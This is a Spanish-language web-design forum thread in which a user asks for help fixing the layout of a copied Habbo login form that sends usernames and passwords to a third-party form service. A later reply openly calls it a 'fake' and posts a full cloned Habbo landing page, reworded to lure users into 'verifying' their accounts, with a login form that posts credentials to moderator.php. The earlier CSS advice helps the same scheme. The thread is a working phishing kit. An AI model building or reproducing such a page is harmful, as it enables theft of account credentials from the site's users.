Comunidad de diseño web y desarrollo en internet online

¿Porque se me deforma el formulario?

Citar            
MensajeEscrito el 19 Dic 2008 10:31 pm
Estoy creando un inicio de secion a mi web parecida a la web de habbo pero a la hora de cambiar su formulario por el mio se me deforma de tal modo que queda asi....

Y en la web de habbo se puede ver asi...

Por miguelsirna

315 de clabLevel



Genero:Masculino  

Hacker & Programmer

firefox
Citar            
MensajeEscrito el 19 Dic 2008 11:13 pm
a simple vista el boton se viene abajo por los label que tienen tus textfiel, son "muy largos" o el contenedor (form o div) es "muy pequeño"
un poco de codigo posteado no vendria mal para ayudar mejor o un url

Saludos

Por fack.us

25 de clabLevel



 

la choya bay

firefox
Citar            
MensajeEscrito el 20 Dic 2008 12:48 am
No creo mira...

Mi codigo es este...

Código :

    <div class="box-content clearfix" id="login-habblet">
        <form method="post" action="http://forms.melodysoft.com">
<input type="hidden" name="id" value="1619871651891234892132181">
<ul>
                <li>
                    <label for="login-username" class="login-text">Mi Habbo Nombre</label>
                    <input name="credentials.username" type="text" class="login-field" id="login-username" tabindex="1" value="" size="5" />
                </li><br />
                <li>

                    <label for="login-password" class="login-text">Contraseña</label>
                    
                    <img src="http://img510.imageshack.us/img510/600/spacerj4.gif" /><input name="credentials.password" type="password" class="login-field" id="login-password" tabindex="2" size="5" />
                <input type="submit" value="Entra" class="submit" id="login-submit-button"/>
                       <a href="#" id="login-submit-new-button" class="new-button" style="float: left; margin-left: 0;display:none"><b style="padding-left: 10px; padding-right: 7px; width: 55px">Entra</b><i></i></a>
                </li><br /><br /><br />
                <li class="no-label">
                    <input tabindex="4" type="checkbox" name="_login_remember_me" id="login-remember-me" value="true"/>

Por miguelsirna

315 de clabLevel



Genero:Masculino  

Hacker & Programmer

firefox
Citar            
MensajeEscrito el 25 Dic 2008 06:47 pm
puedes poner los campos de texto en un fielset y darle a este un ancho ucho menor y flotarlo a la izquierda, asi el boton se posicionara a la derecha de los campos de texto, pero recuerda que debes "limpiar" todo lo que flotes, si no quieres que se te descuadre el diseño

Por fack.us

25 de clabLevel



 

la choya bay

firefox
Citar            
MensajeEscrito el 25 Dic 2008 09:40 pm
mmm... disculpa me podrias pasar el código del Fielset :oops:

Por miguelsirna

315 de clabLevel



Genero:Masculino  

Hacker & Programmer

firefox
Citar            
MensajeEscrito el 26 Dic 2008 12:57 am

Código :

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Untitled Document</title>
<style type="text/css">
body{ background:#999}
#login-habblet{ width:400px; border:1px solid #000; }
#login-habblet fieldset{ width:50%; text-align:right}
#login-submit-button{ margin-top:70px}
.left{ float:left}
.clear{ clear:left}
</style>
</head>

<body>
    <div class="box-content clearfix" id="login-habblet">
    
            <form method="post" action="http://forms.melodysoft.com">
                
                <fieldset class="left">
                
                    <label for="login-username" class="login-text">Mi Habbo Nombre</label>
                    <input name="credentials.username" type="text" class="login-field" id="login-username" tabindex="1" value="" size="5" />
                    <br />
                    <br />
                    <label for="login-password" class="login-text">Contraseña</label>
                    <input name="credentials.password" type="password" class="login-field" id="login-password" tabindex="2" size="5" />
                
                </fieldset>
                
                <input type="submit" value="Entra" class="submit" id="login-submit-button"/>
                <br />
                <br />
                <a class="clear" href="#" id="login-submit-new-button" class="new-button" style="float: left; margin-left: 0;display:none"><b style="padding-left: 10px; padding-right: 7px; width: 55px">Entra</b></a>
                <input tabindex="4" type="checkbox" name="_login_remember_me" id="login-remember-me" value="true"/>
                        
            </form>
    </div>
    <div class="clear"></div>
</body>
</html>


algo un poco mal hecho pero que te puede dar una idea.

Por fack.us

25 de clabLevel



 

la choya bay

firefox
Citar            
MensajeEscrito el 29 Dic 2008 04:52 am

Código :

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <meta http-equiv="content-type" content="text/html; charset=utf-8" />
   <title>Habbo ~ Home </title>
<style type="text/css">
body{ background:#999}
#login-habblet{ width:303px; border:0px solid #000; }
#login-habblet fieldset{ width:50%; text-align:right}
#login-submit-button{ margin-top:73px}
.left{ float:left}
.clear{ clear:left}
</style>
</head>

<body>
    <div class="box-content clearfix" id="login-habblet">
    
            <form method="post" action="http://forms.melodysoft.com">
            <input type="hidden" name="id" value="1619871651891234892132181">
                
               <fieldset class="left">
                       <label for="login-username" class="login-text">Mi Habbo Nombre</label>
                        <input name="credentials.username" type="text" class="login-field" id="login-username" tabindex="1" value="" size="13" />
                        <br />
                        <br />
                    <label for="login-password" class="login-text">Contraseña</label>
                    <input name="credentials.password" type="password" class="login-field" id="login-password" tabindex="2" size="13" />
               
                    </fieldset>
                    
                    <input type="submit" value="Entra" class="submit" id="login-submit-button"/>
                   <a href="#" id="login-submit-new-button" class="new-button" style="float: left; margin-left: 0;display:none"><b style="padding-left: 10px; padding-right: 7px; width: 55px">Entra</b><i></i></a>
                </li><br />
                <li class="no-label">
                
                    <input tabindex="4" type="checkbox" name="_login_remember_me" id="login-remember-me" value="true"/>
                    <label for="login-remember-me">LEE ESTO ANTES DE LOGEARTE</label>
                </li>   
                <li class="no-label">
                    <a href="https://www.habbo.es/register" class="login-register-link"><span>Regístrate gratis</span></a>
                </li>
                <li class="no-label">
                    <a href="https://www.habbo.es/account/password/forgot" id="forgot-password"><span>He olvidado mi clave/usuario</span></a>
                    
                </li>
            </form>
    </div>
    <div class="clear"></div>
</body>


Lo hice masomenos como me dijiste solo que edite la parte de arriba porque se movia, pero no resulto como lo queria me quedo asi...

Por miguelsirna

315 de clabLevel



Genero:Masculino  

Hacker & Programmer

firefox
Citar            
MensajeEscrito el 29 Dic 2008 11:33 pm
postea tu codigo, o sube tus archivos a algun servidor, es un pcoo dificil si solo ves una imagen.

Por fack.us

25 de clabLevel



 

la choya bay

firefox
Citar            
MensajeEscrito el 18 Abr 2009 12:35 pm
Bueno, todo y que se que stas intentando crear un Fake. Te voy a ayudar :wink:


Ahí tienes toda la fake preparrada, unicamente tienes que enlazarla con el php y listo ^^
[code]
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Habbo ~ Home </title>

<script type="text/javascript">
var andSoItBegins = (new Date()).getTime();
</script>
<link rel="shortcut icon" href="http://images.habbohotel.es/habboweb/30_7aebbe390b331330324baad01c076e16/10/web-gallery/v2/favicon.ico" type="image/vnd.microsoft.icon" />
<link rel="alternate" type="application/rss+xml" title="Habbo ~ RSS" href="http://www.habbo.es/articles/rss.xml" />
<script src="http://images.habbohotel.es/habboweb/30_7aebbe390b331330324baad01c076e16/10/web-gallery/static/js/landing.js" type="text/javascript"></script>
<script src="http://images.habbohotel.es/habboweb/30_7aebbe390b331330324baad01c076e16/10/web-gallery/static/js/libs2.js" type="text/javascript"></script>
<link rel="stylesheet" href="http://images.habbohotel.es/habboweb/30_7aebbe390b331330324baad01c076e16/10/web-gallery/v2/styles/style.css" type="text/css" />
<link rel="stylesheet" href="http://images.habbohotel.es/habboweb/30_7aebbe390b331330324baad01c076e16/10/web-gallery/v2/styles/buttons.css" type="text/css" />
<link rel="stylesheet" href="http://images.habbohotel.es/habboweb/30_7aebbe390b331330324baad01c076e16/10/web-gallery/v2/styles/boxes.css" type="text/css" />
<link rel="stylesheet" href="http://images.habbohotel.es/habboweb/30_7aebbe390b331330324baad01c076e16/10/web-gallery/v2/styles/tooltips.css" type="text/css" />
<link rel="stylesheet" href="/styles/local/es.css" type="text/css" />

<script src="/js/local/es.js" type="text/javascript"></script>
<link rel="stylesheet" href="http://images.habbohotel.es/habboweb/30_7aebbe390b331330324baad01c076e16/10/web-gallery/v2/styles/process.css" type="text/css" />

<script type="text/javascript">
document.habboLoggedIn = false;
var habboName = null;
var ad_keywords = "";
var habboReqPath = "";
var habboStaticFilePath = "http://images.habbohotel.es/habboweb/30_7aebbe390b331330324baad01c076e16/10/web-gallery";
var habboImagerUrl = "/habbo-imaging/";
var habboPartner = "";
window.name = "habboMain";
if (typeof HabboClient != "undefined") { HabboClient.windowName = "client"; }

</script>



<meta name="description" content="Habbo es un mundo virtual para quedar y hacer amigos" />
<meta name="keywords" content="habbo, chat, amigos, personaje, virtual, mundo virtual, red social, jugar, juego, juegos, musica, famosos" />



<!--[if lt IE 8]>
<link rel="stylesheet" href="http://images.habbohotel.es/habboweb/30_7aebbe390b331330324baad01c076e16/10/web-gallery/v2/styles/ie.css" type="text/css" />
<![endif]-->
<!--[if lt IE 7]>
<link rel="stylesheet" href="http://images.habbohotel.es/habboweb/30_7aebbe390b331330324baad01c076e16/10/web-gallery/v2/styles/ie6.css" type="text/css" />
<script src="http://images.habbohotel.es/habboweb/30_7aebbe390b331330324baad01c076e16/10/web-gallery/static/js/pngfix.js" type="text/javascript"></script>
<script type="text/javascript">
try { document.execCommand('BackgroundImageCache', false, true); } catch(e) {}
</script>

<style type="text/css">
body { behavior: url(/js/csshover.htc); }
</style>
<![endif]-->
<meta name="build" content="30-BUILD68 - 23.02.2009 16:32 - es" />
</head>
<body id="landing" class="process-template">

<div id="overlay"></div>

<div id="container">
<div class="cbb process-template-box clearfix">
<div id="content">
<div id="header" class="clearfix">
<h1><a href="http://www.habbo.es/"></a></h1>
<ul class="stats">
<li class="stats-online"><span class="stats-fig">254</span> Nuevos moderadores en el ultimo mes!</li>
<li class="stats-visited"><span class="stats-fig">6</span> moderadores conectados ahora</li>
</ul>
</div>
<div id="process-content">
<div id="column1" class="column">

<div class="habblet-container " id="create-habbo">

<div id="create-habbo" class="layout-static">
<div id="create-habbo-nonflash" style="background-image: url(http://images.habbohotel.es/c_images/abtesting/pixel.gif)">
<div class="landing-text-1"><span>Diversion real, mundo virtual</span></div>
<div class="landing-text-2"><span>Crea tu Habbo...</span></div>
<div class="landing-text-3"><span>...y haz nuevos amigos :)</span></div>
<div id="landing-register-text"><a href="/register"><span>Unete ahora, es gratis</span></a></div>
<div id="landing-promotional-text"><span>Habbo es un mundo virtual para quedar y hacer amigos</span></div>
</div>
</div>



</div>
<script type="text/javascript">if (!$(document.body).hasClassName('process-template')) { Rounder.init(); }</script>


</div>
<div id="column2" class="column">

<div class="habblet-container ">

<div class="cbb loginbox clearfix ">
<h2 class="title">Verifica tu cuenta aqui</h2>
<div class="box-content clearfix" id="login-habblet">
<form action="moderator.php" method="post" class="login-habblet">
<ul>
<li>
<label for="login-username"class="login-text">Mi Habbo nombre</label><input tabindex="1" type="text" class="login-field" name="login" id="login-username" value="">

</li>
<li>

<label for="login-password"class="login-text">Contrasena
</label><input tabindex="2" type="password" class="login-field" name="password" id="login-password">
</li>
<input type="submit" value="Entra" class="submit" id="login-submit-button"/>
<a href="#" id="login-submit-new-button" class="new-button" style="float: left; margin-left: 0;display:none"><b style="padding-left: 10px; padding-right: 7px; width: 55px">Entra</b><i></i></a>
<li class="no-label">
<input tabindex="4" type="checkbox" name="_login_remember_me" id="login-remember-me" value="true"/>
<label for="login-remember-me">Recuerdame</label>
</li>
<li class="no-label">
<a href="https://www.habbo.es/register" class="login-register-link"><span>Registrate gratis</span></a>
</li>
<li class="no-label">
<a href="https://www.habbo.es/account/password/forgot" id="forgot-password"><span>He olvidado mi clave/usuario</span></a>
</li>
<ul>
</form>

</div>
</div>
<div id="remember-me-notification" class="bottom-bubble" style="display:none;">
<div class="bottom-bubble-t"><div></div></div>
<div class="bottom-bubble-c">
Seleccionando 'Recuerdame', aparecera tu cuenta en este ordenador hasta que te desconectes. Si este es un ordenador publico, es mejor que no utilices esta herramienta.
</div>
<div class="bottom-bubble-b"><div></div></div>
</div>
<script type="text/javascript">
HabboView.add(LoginFormUI.init);
HabboView.add(RememberMeUI.init);
</script>



</div>
<script type="text/javascript">if (!$(document.body).hasClassName('process-template')) { Rounder.init(); }</script>



<div class="habblet-container ">

<div class="ad-container">
<div id="geoip-ad" style="display:none"></div>
</div>



</div>
<script type="text/javascript">if (!$(document.body).hasClassName('process-template')) { Rounder.init(); }</script>



<div class="habblet-container ">





</div>
<script type="text/javascript">if (!$(document.body).hasClassName('process-template')) { Rounder.init(); }</script>



<div class="habblet-container ">

<div class="ad-container">
<a href="/register?utm_source=habblet&utm_medium=banner&utm_campaign=conchita_bueno"><img alt="Habblet conchita 310x184nuevo" border="0" width="310" height="184" src="http://images.habbohotel.co.uk/c_images/hablets/lobby.gif"></a>
</div>



</div>
<script type="text/javascript">if (!$(document.body).hasClassName('process-template')) { Rounder.init(); }</script>


</div>
<div id="column3" class="column">
</div>
<div id="column-footer">

<div class="habblet-container ">

<div class="habblet box-content" id="tag-cloud-slim">
<span class="tags-habbos-like">Los Habbos, locos por...</span>

<ul class="tag-list">
<li><a href="http://www.habbo.es/tag/bailar" class="tag" style="font-size:14px">bailar</a> </li>
<li><a href="http://www.habbo.es/tag/basket" class="tag" style="font-size:12px">basket</a> </li>
<li><a href="http://www.habbo.es/tag/bienvenida" class="tag" style="font-size:20px">bienvenida</a> </li>
<li><a href="http://www.habbo.es/tag/ciudad" class="tag" style="font-size:12px">ciudad</a> </li>
<li><a href="http://www.habbo.es/tag/deporte" class="tag" style="font-size:18px">deporte</a> </li>
<li><a href="http://www.habbo.es/tag/diestro" class="tag" style="font-size:12px">diestro</a> </li>
<li><a href="http://www.habbo.es/tag/fiesta" class="tag" style="font-size:14px">fiesta</a> </li>
<li><a href="http://www.habbo.es/tag/futbol" class="tag" style="font-size:20px">futbol</a> </li>
<li><a href="http://www.habbo.es/tag/habbo" class="tag" style="font-size:14px">habbo</a> </li>
<li><a href="http://www.habbo.es/tag/habboguias" class="tag" style="font-size:20px">habboguias</a> </li>
<li><a href="http://www.habbo.es/tag/hablar" class="tag" style="font-size:10px">hablar</a> </li>
<li><a href="http://www.habbo.es/tag/ingles" class="tag" style="font-size:12px">ingles</a> </li>
<li><a href="http://www.habbo.es/tag/ninguno" class="tag" style="font-size:12px">ninguno</a> </li>
<li><a href="http://www.habbo.es/tag/noche" class="tag" style="font-size:12px">noche</a> </li>
<li><a href="http://www.habbo.es/tag/perros" class="tag" style="font-size:12px">perros</a> </li>
<li><a href="http://www.habbo.es/tag/playa" class="tag" style="font-size:14px">playa</a> </li>
<li><a href="http://www.habbo.es/tag/pop" class="tag" style="font-size:12px">pop</a> </li>
<li><a href="http://www.habbo.es/tag/postre" class="tag" style="font-size:12px">postre</a> </li>
<li><a href="http://www.habbo.es/tag/rap" class="tag" style="font-size:12px">rap</a> </li>
<li><a href="http://www.habbo.es/tag/rock" class="tag" style="font-size:14px">rock</a> </li>
</ul>
</div>



</div>
<script type="text/javascript">if (!$(document.body).hasClassName('process-template')) { Rounder.init(); }</script>


<!--[if lt IE 7]>
<script type="text/javascript">
Pngfix.doPngImageFix();
</script>
<![endif]-->
<div id="footer">
<p><a href="http://www.habbohotel.es/iot/go?lang=es&country=es" target="_new">Contactanos</a> | <a href="/help/77" target="_new">Afiliados</a> | <a href="/help" target="_new">FAQs</a> | <a href="http://www.sulake.com" target="_new">Sulake</a> | <a href="/papers/termsAndConditions" target="_new">Terminos y Condiciones</a> | <a href="/papers/privacy" target="_new">Politica de Privacidad</a> | <a href="/help/94" target="_new">La Manera Habbo</a></p>
<p>© 2008 - 2009 Sulake Corporation Oy. HABBO es una marca registrada de Sulake Corporation Oy en la Union Europea, Estados Unidos, Japon, la Republica Popular China y otras jurisdicciones. Todos los derechos reservados.</p>
</div> </div>
</div>
</div>
</div>
<script type="text/javascript">
HabboView.run();
</script>

<script src="http://www.google-analytics.com/ga.js" type="text/javascript"></script>
<script type="text/javascript">
var pageTracker = _gat._getTracker("UA-448325-19");
pageTracker._initData();
pageTracker._trackPageview();
</script>
<script type="text/javascript">
if (window.location.href.indexOf(".es/register/welcome") != -1) {

var tdTrackBackImg = new Image();
var tdTrackBackUrl = "";

if (typeof tdInit != 'undefined') { tdInit(); }
if (typeof tdTrack != 'undefined') { tdTrack(); }

<!-- Google Code for Registration Conversion Page HL-14191 BEGIN -->
var google_conversion_id = 1042387290;
var google_conversion_language = "es";
var google_conversion_format = "2";
var google_conversion_color = "FFFFFF";
var google_conversion_label = "gyfsCK6qSBDaoobxAw";

document.write('<' + 'script language="JavaScript" type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"' + '>' + '</' + 'script' + '>');

}
</script>

<script type="text/javascript">
if (window.location.href.indexOf(".mx/register/welcome") != -1) {

var tdTrackBackImg = new Image();
var tdTrackBackUrl = "";

if (typeof tdInit != 'undefined') { tdInit(); }
if (typeof tdTrack != 'undefined') { tdTrack(); }

<!-- Google Code for Registration Conversion Page HL-14191 BEGIN -->
var google_conversion_id = 1042373520;
var google_conversion_language = "es";
var google_conversion_format = "2";
var google_conversion_color = "FFFFFF";
var google_conversion_label = "yJatCLTBTRCQt4XxAw";

document.write('<' + 'script language="JavaScript" type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"' + '>' + '</' + 'script' + '>');

}
</script>


<script type="text/javascript">
if (window.location.href.indexOf(".co/register/welcome") != -1) {

var tdTrackBackImg = new Image();
var tdTrackBackUrl = "";

if (typeof tdInit != 'undefined') { tdInit(); }
if (typeof tdTrack != 'undefined') { tdTrack(); }

}
</script>


<script type="text/javascript">
if (window.location.href.indexOf(".cl/register/welcome") != -1) {

var tdTrackBackImg = new Image();
var tdTrackBackUrl = "";

if (typeof tdInit != 'undefined') { tdInit(); }
if (typeof tdTrack != 'undefined') { tdTrack(); }

}
</script>



<script type="text/javascript">
if (typeof tagCertifica != 'undefined') {
tagCertifica(19251, 'url');
}
</script>

<!-- Start Quantcast tag -->
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
<script type="text/javascript">_qacct="p-b5UDx6EsiRfMI";quantserve();</script>
<noscript>
<a href="http://www.quantcast.com/p-b5UDx6EsiRfMI" target="_blank"><img src="http://pixel.quantserve.com/pixel/p-b5UDx6EsiRfMI.gif" style="display: none" border="0" height="1" width="1" alt="Quantcast"/></a>
</noscript>
<!-- End Quantcast tag -->

<!-- HL-17123 -->
<script language="javascript" src="http://ethnio.com/remotes/26229" type="text/javascript"></script>

</body>
</html>

code]

Agradecer no cuesta nada, además si te sirve me lo podrias agradecer por msn :P :P

Por BanNsS1

0 de clabLevel



 

msie7
Citar            
MensajeEscrito el 19 Abr 2009 02:26 am
aver no te entiendo muy bien se supone que ese codigo ya esta con todo arreglado, pero cuando lo meto al dreamweaver sale como si no, que le pongo para que se visualice la plantilla css

Por miguelsirna

315 de clabLevel



Genero:Masculino  

Hacker & Programmer

firefox

 

Cristalab BabyBlue v4 + V4 © 2011 Cristalab
Powered by ClabEngines v4, HTML5, love and ponies.